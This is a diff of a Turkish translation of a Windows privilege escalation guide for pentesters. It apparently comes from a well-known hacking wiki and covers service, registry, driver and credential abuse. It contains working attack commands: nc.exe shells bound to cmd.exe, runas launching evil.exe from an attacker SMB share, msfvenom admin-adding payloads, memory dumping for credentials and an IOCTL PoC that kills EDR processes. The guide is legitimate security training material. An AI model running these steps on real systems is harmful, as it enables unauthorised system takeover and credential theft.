Amacı, cihazda depolanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Cached Credentials +### Önbelleğe Alınmış Kimlik Bilgileri -**Domain credentials**, **Local Security Authority** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının logon verileri kayıtlı bir security package tarafından doğrulandığında, o kullanıcı için domain credentials genellikle oluşturulur.\ +**Etki Alanı kimlik bilgileri** **Local Security Authority** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Kayıtlı bir güvenlik paketi tarafından bir kullanıcının oturum açma verileri doğrulandığında, kullanıcı için etki alanı kimlik bilgileri genellikle oluşturulur.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Kullanıcılar ve Gruuplar +## Kullanıcılar ve Gruplar -### Kullanıcılar ve Grupları Listeleme +### Kullanıcıları ve Grupları Listeleme -Ait olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. +Bulunduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. ```bash # CMD net users %username% #Me @@ -350,7 +352,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Ayrıcalıklı gruplar -Eğer bir **ayrıcalıklı gruba aitseniz, ayrıcalıkları yükseltebilirsiniz**. Ayrıcalıklı gruplar ve bunları ayrıcalık yükseltmek için nasıl kötüye kullanabileceğinizi öğrenin: +Eğer **bir ayrıcalıklı grubun üyesiyseniz yetkilerinizi yükseltebilirsiniz**. Ayrıcalıklı grupları ve bunları yetki yükseltmek için nasıl suistimal edebileceğinizi burada öğrenin: {{#ref}} @@ -359,20 +361,20 @@ Eğer bir **ayrıcalıklı gruba aitseniz, ayrıcalıkları yükseltebilirsiniz* ### Token manipülasyonu -**Daha fazla bilgi edinin** bir **token**'in ne olduğunu bu sayfada: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Aşağıdaki sayfayı kontrol ederek **ilginç token'lar hakkında bilgi edinin** ve bunları nasıl kötüye kullanabileceğinizi öğrenin: +**Daha fazlasını öğrenin** bu sayfada token'in ne olduğunu: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Aşağıdaki sayfayı **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl suistimal edeceğinizi öğrenmek için inceleyin: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Giriş yapmış kullanıcılar / Oturumlar +### Oturum açmış kullanıcılar / Oturumlar ```bash qwinsta klist sessions ``` -### Kullanıcı dizinleri +### Ev klasörleri ```bash dir C:\Users Get-ChildItem C:\Users @@ -385,12 +387,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Çalışan Süreçler +## Çalışan İşlemler ### Dosya ve Klasör İzinleri -Öncelikle süreçleri listeleyip sürecin komut satırında parola/parolalar olup olmadığını **kontrol edin**.\ -Çalışan bazı binary'leri **overwrite edip edemeyeceğinizi** veya binary klasöründe yazma izninizin olup olmadığını kontrol edin; olası [**DLL Hijacking attacks**](dll-hijacking/index.html) için: +İlk olarak, prosesleri listeleyip **işlemin komut satırında parola olup olmadığını kontrol edin**.\ +Çalışan bazı binary'leri **üzerine yazıp yazamayacağınızı** veya binary klasörünün yazma izinlerine sahip olup olmadığınızı kontrol edin; olası [**DLL Hijacking attacks**](dll-hijacking/index.html) istismarlarını kullanmak için: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -401,9 +403,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Her zaman olası [**electron/cef/chromium debuggers** çalışıyor olabilir, bunu ayrıcalık yükseltmek için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Her zaman [**electron/cef/chromium debuggers** çalışıyor olabilir mi diye kontrol edin; bunu yetki yükseltmek için suistimal edebilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Süreçlerin binary dosyalarının izinlerini kontrol etme** +**Süreçlerin ikili dosyalarının izinlerini kontrol etme** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -412,7 +414,7 @@ icacls "%%z" ) ) ``` -**Proses binary'lerinin bulunduğu klasörlerin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**İşlem ikili dosyalarının bulunduğu klasörlerin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -422,19 +424,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Çalışan bir sürecin bellek dökümünü sysinternals'dan **procdump** kullanarak oluşturabilirsiniz. FTP gibi servislerde bellekte **credentials in clear text in memory** bulunur; belleği döküp credentials'ları okuyun. +Çalışan bir işlemin bellek dökümünü sysinternals'tan **procdump** ile oluşturabilirsiniz. FTP gibi servislerin bellekte **credentials in clear text** halinde bulunma ihtimali vardır; belleği dump'lamayı deneyin ve credentials'ları okuyun. ```bash procdump.exe -accepteula -ma ``` ### Güvensiz GUI uygulamaları -**SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD başlatmasına veya dizinlere göz atmasına izin verebilir.** +**SYSTEM olarak çalışan uygulamalar bir kullanıcının CMD başlatmasına veya dizinlere göz atmasına izin verebilir.** -Örnek: "Windows Help and Support" (Windows + F1), "command prompt" arayın, "Click to open Command Prompt"e tıklayın +Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" ## Servisler -Servislerin listesini al: +Servislerin listesini alın: ```bash net start wmic service list brief @@ -447,40 +449,40 @@ Bir servisin bilgilerini almak için **sc** kullanabilirsiniz ```bash sc qc ``` -Her servis için gerekli ayrıcalık seviyesini kontrol etmek üzere _Sysinternals_'ten **accesschk** ikili dosyasına sahip olmak önerilir. +Her hizmet için gerekli ayrıcalık düzeyini kontrol etmek üzere _Sysinternals_ tarafından sağlanan **accesschk** ikili dosyasına sahip olmanız önerilir. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -“Authenticated Users”'in herhangi bir servisi değiştirebilip değiştiremeyeceğinin kontrol edilmesi önerilir: +"Authenticated Users"ın herhangi bir servisi değiştirebilip değiştiremeyeceğini kontrol etmeniz önerilir: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[XP için accesschk.exe'yi buradan indirebilirsiniz](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Servisi etkinleştirme Bu hatayı alıyorsanız (örneğin SSDPSRV ile): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_Sistem hatası 1058 oluştu._\ +_Servis başlatılamıyor; ya devre dışı bırakılmış ya da ilişkili etkin bir aygıtı yok._ -Bunu etkinleştirmek için şunu kullanabilirsiniz: +Bunu şu komutla etkinleştirebilirsiniz ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**upnphost hizmetinin çalışması için SSDPSRV'ye bağlı olduğunu unutmayın (XP SP1 için)** +**upnphost servisinin çalışması için SSDPSRV'ye bağımlı olduğunu unutmayın (XP SP1 için)** **Bu sorunun başka bir çözümü** şu komutu çalıştırmaktır: ``` sc.exe config usosvc start= auto ``` -### **Modify service binary path** +### **Hizmet binary yolunu değiştir** -Bir serviste "Authenticated users" grubunun **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir binary'sini değiştirmek mümkündür. Değiştirmek ve çalıştırmak için **sc**: +"Authenticated users" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin yürütülebilir binary'sini değiştirmek mümkündür. Binary'yi değiştirmek ve **sc** ile çalıştırmak için: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -495,18 +497,18 @@ net stop [service name] && net start [service name] ``` Ayrıcalıklar çeşitli izinler aracılığıyla yükseltilebilir: -- **SERVICE_CHANGE_CONFIG**: Servisin çalıştırdığı ikili dosyanın yeniden yapılandırılmasına izin verir. -- **WRITE_DAC**: İzinlerin yeniden yapılandırılmasına olanak sağlar; bu da servis yapılandırmalarını değiştirme yeteneği verir. -- **WRITE_OWNER**: Sahiplik devralma ve izinlerin yeniden yapılandırılmasına izin verir. -- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğine sahiptir. -- **GENERIC_ALL**: Aynı şekilde servis yapılandırmalarını değiştirme yeteneğine sahiptir. +- **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir. +- **WRITE_DAC**: İzinlerin yeniden yapılandırılmasına olanak tanır; bu da servis yapılandırmalarını değiştirme yetkisi sağlar. +- **WRITE_OWNER**: Sahipliği devralmaya ve izinleri yeniden yapılandırmaya izin verir. +- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yetkisini içerir. +- **GENERIC_ALL**: Servis yapılandırmalarını değiştirme yetkisini de içerir. -Bu zafiyetin tespiti ve sömürüsü için _exploit/windows/local/service_permissions_ kullanılabilir. +Bu zafiyetin tespiti ve sömürülmesi için _exploit/windows/local/service_permissions_ kullanılabilir. ### Services binaries weak permissions -**Bir servis tarafından çalıştırılan ikili dosyayı değiştirebilir misiniz** veya ikili dosyanın bulunduğu klasörde **yazma izniniz var mı** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Bir servisin çalıştırdığı tüm ikili dosyaları **wmic** ile (system32'de olmayanlar) alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: +**Bir servis tarafından çalıştırılan ikili dosyayı değiştirebilir misiniz diye kontrol edin** veya ikili dosyanın bulunduğu klasörde **yazma izniniz** olup olmadığını kontrol edin ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Bir servis tarafından çalıştırılan her ikiliyi **wmic** ile (system32'de değil) alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -518,10 +520,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Servis kayıt defteri değiştirme izinleri +### Servis kayıtlarını değiştirme izinleri -Herhangi bir servis kayıt defterini değiştirebilip değiştiremeyeceğinizi kontrol etmelisiniz.\ -Bir servis **kayıt defteri** üzerindeki **izinlerinizi** **kontrol** etmek için şunu yapabilirsiniz: +Herhangi bir servis kaydını değiştirip değiştiremeyeceğinizi kontrol etmelisiniz.\ +Bir servis **kaydı** üzerindeki **izinlerinizi** şu şekilde **kontrol** edebilirsiniz: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -530,15 +532,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -**Authenticated Users** veya **NT AUTHORITY\INTERACTIVE**'in `FullControl` izinlerine sahip olup olmadığı kontrol edilmelidir. Eğer sahipse, servis tarafından çalıştırılan binary değiştirilebilir. +Şunun olup olmadığı kontrol edilmelidir: **Authenticated Users** veya **NT AUTHORITY\INTERACTIVE**'ın `FullControl` izinlerine sahip olup olmadığı. Eğer varsa, servis tarafından çalıştırılan binary değiştirilebilir. -Servis tarafından çalıştırılan binary'nin Path'ini değiştirmek için: +Çalıştırılan binary'nin Path'ini değiştirmek için: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory izinleri +### Services registry AppendData/AddSubdirectory permissions -Eğer bir registry üzerinde bu izne sahipseniz bu, **bu kayıttan alt kayıtlar oluşturabileceğiniz** anlamına gelir. Windows services durumunda bu, **herhangi bir kodu çalıştırmak için yeterlidir:** +Eğer bir registry üzerinde bu izne sahipseniz bu, **bu kaydın alt kayıtlarını oluşturabileceğiniz** anlamına gelir. Windows servisleri durumunda bu, **keyfi kod çalıştırmak için yeterlidir:** {{#ref}} @@ -547,15 +549,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Eğer bir çalıştırılabilir dosyanın yolu tırnak içinde değilse, Windows boşluktan önceki her parçayı çalıştırmayı deneyecektir. +Bir yürütülebilir dosyanın yolu tırnak içinde değilse, Windows boşluktan önceki her parçayı çalıştırmayı dener. -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şunları çalıştırmaya çalışacaktır: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Yerleşik Windows hizmetlerine ait olmayan tüm tırnaklanmamış hizmet yollarını listele: +Yerleşik Windows hizmetlerine ait olanlar hariç, tüm tırnaklanmamış hizmet yollarını listeleyin: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,19 +577,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Bu zafiyeti tespit edip exploit edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Manuel olarak metasploit ile bir service binary oluşturabilirsiniz: +**Bu zafiyeti tespit edebilir ve exploit edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` metasploit ile manuel olarak bir servis ikili dosyası oluşturabilirsiniz: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Kurtarma Eylemleri +### Kurtarma İşlemleri -Windows, bir servis başarısız olduğunda alınacak eylemleri kullanıcıların belirtmesine izin verir. Bu özellik bir binary'ye işaret edecek şekilde yapılandırılabilir. Bu binary değiştirilebilirse, privilege escalation mümkün olabilir. Daha fazla ayrıntı [official documentation](). +Windows, bir hizmet başarısız olduğunda yapılacak eylemleri kullanıcıların belirtmesine izin verir. Bu özellik bir binary'yi işaret edecek şekilde yapılandırılabilir. Eğer bu binary değiştirilebilirse, privilege escalation mümkün olabilir. Daha fazla ayrıntı [official documentation]() adresinde bulunabilir. ## Uygulamalar ### Yüklü Uygulamalar -Kontrol edin **permissions of the binaries** (maybe you can overwrite one and escalate privileges) ve **klasörlerin** izinlerini ([DLL Hijacking](dll-hijacking/index.html)). +Kontrol edin **permissions of the binaries** (belki birini overwrite edip, privilege escalation yapabilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,7 +600,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Bazı özel dosyaları okumak için bazı config file'ları değiştirebilip değiştiremeyeceğinizi veya Administrator hesabı (schedtasks) tarafından çalıştırılacak bir binary'i değiştirebilip değiştiremeyeceğinizi kontrol edin. +Bazı yapılandırma dosyalarını değiştirip özel bir dosyayı okuyup okuyamayacağınızı veya Yönetici hesabı tarafından yürütülecek bir binary'i (schedtasks) değiştirebilip değiştiremeyeceğinizi kontrol edin. Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu şudur: ```bash @@ -625,39 +627,39 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Başlangıçta çalıştır -**Farklı bir kullanıcı tarafından çalıştırılacak bazı registry veya binary dosyalarını üzerine yazıp yazamayacağınızı kontrol edin.**\ -**Okuyun** ilginç **autoruns locations to escalate privileges** hakkında daha fazla bilgi edinmek için **aşağıdaki sayfayı**: +**Başka bir kullanıcı tarafından çalıştırılacak bazı registry veya binary'lerin üzerine yazıp yazamayacağınızı kontrol edin.**\ +**Okuyun** **aşağıdaki sayfayı** ilginç **autoruns locations to escalate privileges** hakkında daha fazla bilgi edinmek için: {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### Sürücüler +### Drivers -Olası **third party weird/vulnerable** sürücüleri arayın +Olası **üçüncü taraf tuhaf/zayıf** drivers için bakın ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Eğer bir driver arbitrary kernel read/write primitive (kötü tasarlanmış IOCTL handlers'ta yaygın) açığa çıkarıyorsa, kernel memory'den doğrudan bir SYSTEM token çalarak yetki yükseltebilirsiniz. Adım adım teknik için bakın: +Eğer bir driver arbitrary kernel read/write primitive (kötü tasarlanmış IOCTL handlers'da yaygın) açığa çıkarıyorsa, doğrudan kernel belleğinden bir SYSTEM token çalarak yetki yükseltebilirsiniz. Adım adım teknik için bakın: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### device objects üzerindeki eksik FILE_DEVICE_SECURE_OPEN'un kötüye kullanılması (LPE + EDR kill) +#### Aygıt nesnelerinde FILE_DEVICE_SECURE_OPEN eksikliğinin kötüye kullanılması (LPE + EDR kill) -Bazı signed third‑party driver'lar device object'larını IoCreateDeviceSecure ile güçlü bir SDDL kullanarak oluşturuyor ama DeviceCharacteristics içinde FILE_DEVICE_SECURE_OPEN'u ayarlamayı unutuyorlar. Bu bayrak olmadan, secure DACL, cihaz ekstra bir bileşen içeren bir yol ile açıldığında uygulanmıyor; bu da herhangi bir ayrıcalıksız kullanıcının aşağıdaki gibi bir namespace path kullanarak bir handle elde etmesine izin veriyor: +Bazı imzalı üçüncü‑taraf driver'lar device object'lerini güçlü bir SDDL ile IoCreateDeviceSecure aracılığıyla oluşturur ama DeviceCharacteristics içinde FILE_DEVICE_SECURE_OPEN ayarını unutur. Bu bayrak olmadan, secure DACL extra bir bileşen içeren bir yol üzerinden cihaz açıldığında uygulanmaz; bu da herhangi bir ayrıcalıksız kullanıcının şu gibi bir namespace yolu kullanarak bir handle elde etmesine izin verir: - \\ .\\DeviceName\\anything -- \\ .\\amsdk\\anyfile (gerçek bir vaka örneğinden) +- \\ .\\amsdk\\anyfile (gerçek bir vakadan) -Bir kullanıcı cihazı açabildiğinde, driver tarafından expose edilen privileged IOCTLs LPE ve tampering için kötüye kullanılabilir. Vahşi ortamda gözlemlenen örnek yetenekler: -- Arbitrary process'lere full-access handle döndürme (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). -- Kısıtlamasız raw disk read/write (offline tampering, boot-time persistence tricks). -- Arbitrary process'leri sonlandırma, Protected Process/Light (PP/PPL) dahil, bu da AV/EDR'nin user land'den kernel aracılığıyla kill edilmesine olanak tanır. +Kullanıcı cihazı açabildiğinde, driver tarafından açığa çıkarılan ayrıcalıklı IOCTL'lar LPE ve tampering için kötüye kullanılabilir. Gerçek dünyada gözlemlenen örnek yetenekler: +- Rastgele süreçlere full-access handle'lar döndürme (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Kısıtlama olmadan raw disk read/write (offline tampering, boot-time persistence tricks). +- Protected Process/Light (PP/PPL) dahil olmak üzere rastgele süreçleri sonlandırma; bu, kernel aracılığıyla user land'den AV/EDR kill'e izin verir. Minimal PoC pattern (user mode): ```c @@ -671,21 +673,20 @@ DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` -Geliştiriciler için Önlemler -- DACL ile kısıtlanması amaçlanan aygıt nesneleri oluştururken her zaman FILE_DEVICE_SECURE_OPEN'ı ayarlayın. -- Ayrıcalıklı işlemler için çağıranın bağlamını doğrulayın. İşlem sonlandırma veya handle geri verilmesine izin vermeden önce PP/PPL kontrolleri ekleyin. -- IOCTLs'i (access masks, METHOD_*, girdi doğrulaması) sınırlandırın ve doğrudan kernel ayrıcalıkları yerine arabulucu modelleri düşünün. - -Savunucular için Tespit Fikirleri -- Şüpheli aygıt adlarının (ör. \\ .\\amsdk*) user-mode tarafından yapılan açılışlarını ve kötüye kullanımı işaret eden belirli IOCTL dizilerini izleyin. -- Microsoft’un vulnerable driver blocklist'ini (HVCI/WDAC/Smart App Control) uygulayın ve kendi allow/deny listelerinizi yönetin. +Geliştiriciler için önlemler +- Cihaz objeleri oluştururken, DACL ile kısıtlanması amaçlananlarda her zaman FILE_DEVICE_SECURE_OPEN ayarını kullanın. +- Ayrıcalıklı işlemler için çağıranın bağlamını doğrulayın. Process sonlandırma veya handle iadesine izin vermeden önce PP/PPL kontrolleri ekleyin. +- IOCTLs'i (access masks, METHOD_*, input validation) kısıtlayın ve doğrudan kernel privileges yerine brokered modelleri değerlendirin. +Savunucular için tespit fikirleri +- Kullanıcı modu tarafından açılan şüpheli cihaz adlarını (örn., \\ .\\amsdk*) ve kötüye kullanım göstergesi olabilecek belirli IOCTL dizilerini izleyin. +- Microsoft’un vulnerable driver blocklist'ini uygulayın (HVCI/WDAC/Smart App Control) ve kendi allow/deny listelerinizi muhafaza edin. ## PATH DLL Hijacking -Eğer **PATH üzerinde bulunan bir klasörde yazma izinleriniz** varsa, bir işlem tarafından yüklenen bir DLL'i ele geçirerek **ayrıcalıkları yükseltebilirsiniz**. +If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. -PATH içindeki tüm klasörlerin izinlerini kontrol edin: +Check permissions of all folders inside PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` @@ -707,19 +708,19 @@ net share #Check current shares ``` ### hosts file -hosts file üzerinde sert kodlanmış diğer bilinen bilgisayarları kontrol edin +hosts file üzerinde hardcoded olarak belirtilmiş diğer bilinen bilgisayarları kontrol edin. ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Ağ Arayüzleri ve DNS +### Ağ Arayüzleri & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Açık Portlar +### Open Ports -Dışarıdan **kısıtlı servisleri** kontrol edin +Dışarıdan **restricted services** için kontrol edin ```bash netstat -ano #Opened ports? ``` @@ -744,18 +745,18 @@ Daha fazla[ commands for network enumeration here](../basic-cmd-for-pentesters.m C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -`bash.exe` ikili dosyası ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir +Çalıştırılabilir `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir -Root kullanıcı haklarına erişirseniz herhangi bir porta dinleyici açabilirsiniz (ilk kez `nc.exe` ile bir porta dinleyici açtığınızda, GUI üzerinden `nc`'nin firewall tarafından izinli olup olmayacağı sorulur). +Eğer root user elde ederseniz herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` ile bir portta dinleme yaptığınızda GUI aracılığıyla `nc`'nin firewall tarafından izin verilip verilmeyeceğini soracaktır). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -bash'i kolayca root olarak başlatmak için `--default-user root` deneyebilirsiniz +Bash'i root olarak kolayca başlatmak için `--default-user root` deneyebilirsiniz. -`WSL` dosya sistemini `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` klasöründe keşfedebilirsiniz +WSL dosya sistemini `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` klasöründe inceleyebilirsiniz. ## Windows Kimlik Bilgileri @@ -771,16 +772,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Kimlik bilgileri yöneticisi / Windows vault +### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault, sunucular, web siteleri ve diğer programlar için **Windows**'un **kullanıcıları otomatik olarak oturum açtırmasını sağlayan** kimlik bilgilerini depolar. İlk bakışta, kullanıcıların Facebook, Twitter, Gmail vb. kimlik bilgilerini tarayıcılar aracılığıyla otomatik giriş için saklayabildiği gibi görünebilir. Ancak durum böyle değildir. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault, **Windows**'ın **kullanıcıları otomatik olarak oturum açtırabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini depolar. İlk bakışta, kullanıcıların Facebook, Twitter, Gmail vb. kimlik bilgilerini tarayıcılarda otomatik giriş yapmak için saklayabildiği gibi görünebilir. Ancak durum böyle değildir. -Windows Vault, Windows'un kullanıcıları otomatik olarak oturum açtırabileceği kimlik bilgilerini depolar; bu, bir kaynağa (sunucu veya bir web sitesi) erişmek için kimlik bilgisine ihtiyaç duyan herhangi bir **Windows uygulamasının** **bu Credential Manager'dan** ve Windows Vault'tan yararlanabileceği ve sağlanan kimlik bilgilerini kullanıcıların sürekli kullanıcı adı ve şifre girmesi yerine kullanabileceği anlamına gelir. +Windows Vault, Windows'ın kullanıcıları otomatik olarak oturum açtırabileceği kimlik bilgilerini depolar; bu da herhangi bir **kaynağa (sunucu veya web sitesi) erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulamasının** **bu Credential Manager'dan** ve Windows Vault'tan yararlanıp sağlanan kimlik bilgilerini, kullanıcıların her seferinde kullanıcı adı ve parola girmesi yerine kullanabileceği anlamına gelir. -Uygulamalar Credential Manager ile etkileşime girmezse, belirli bir kaynak için kimlik bilgilerini kullanabilmelerinin mümkün olduğunu düşünmüyorum. Bu yüzden, uygulamanız vault'tan yararlanmak istiyorsa, varsayılan depolama vault'undan o kaynak için kimlik bilgilerini talep etmek üzere **credential manager ile iletişim kurup o kaynak için kimlik bilgilerini istemelidir**. +Uygulamalar Credential Manager ile etkileşime girmezse, belirli bir kaynak için kimlik bilgilerini kullanmaları mümkün olmayabilir. Bu yüzden uygulamanız vault'u kullanmak istiyorsa, varsayılan depolama vault'undan o kaynak için kimlik bilgilerini **credential manager ile iletişim kurup talep etmelidir**. -Makinede depolanan kimlik bilgilerini listelemek için `cmdkey` kullanın. +Makinede saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın. ```bash cmdkey /list Currently stored credentials: @@ -788,38 +789,39 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Daha sonra kaydedilmiş kimlik bilgilerini kullanmak için `/savecred` seçeneğiyle `runas` kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı üzerinden uzak bir ikiliyi çağırıyor. +Sonrasında kayıtlı kimlik bilgilerini kullanmak için `runas`'ı `/savecred` seçeneğiyle kullanabilirsiniz. Aşağıdaki örnek, SMB share üzerinden uzak bir binary'i çağırıyor. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Sağlanan bir credential seti ile `runas` kullanımı. +Sağlanan kimlik bilgileriyle `runas` kullanma. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Unutmayın ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), veya [Empire 